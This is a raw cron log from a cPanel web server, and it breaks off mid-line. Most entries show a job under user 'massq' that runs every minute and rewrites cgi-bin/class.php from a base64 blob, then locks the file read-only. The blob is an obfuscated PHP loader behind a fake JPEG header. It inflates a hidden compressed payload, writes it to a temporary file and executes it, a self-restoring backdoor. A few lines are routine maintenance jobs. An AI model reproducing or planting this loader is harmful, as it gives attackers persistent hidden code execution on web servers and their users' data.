BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:31:01 server CROND[23856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:32:01 server CROND[24007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:33:01 server CROND[24069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:34:01 server CROND[24125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:35:01 server CROND[24185]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:35:01 server CROND[24187]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 11:35:01 server CROND[24186]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 11:35:01 server CROND[24188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:35:01 server CROND[24192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:36:01 server CROND[24328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:37:01 server CROND[24481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:38:01 server CROND[24547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:39:01 server CROND[24608]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 11:39:01 server CROND[24610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:40:01 server CROND[24670]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:40:01 server CROND[24669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 11:40:01 server CROND[24671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:40:01 server CROND[24699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:41:01 server CROND[24836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:42:02 server CROND[24895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:42:02 server CROND[24896]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 11:43:01 server CROND[25053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:44:01 server CROND[25111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9J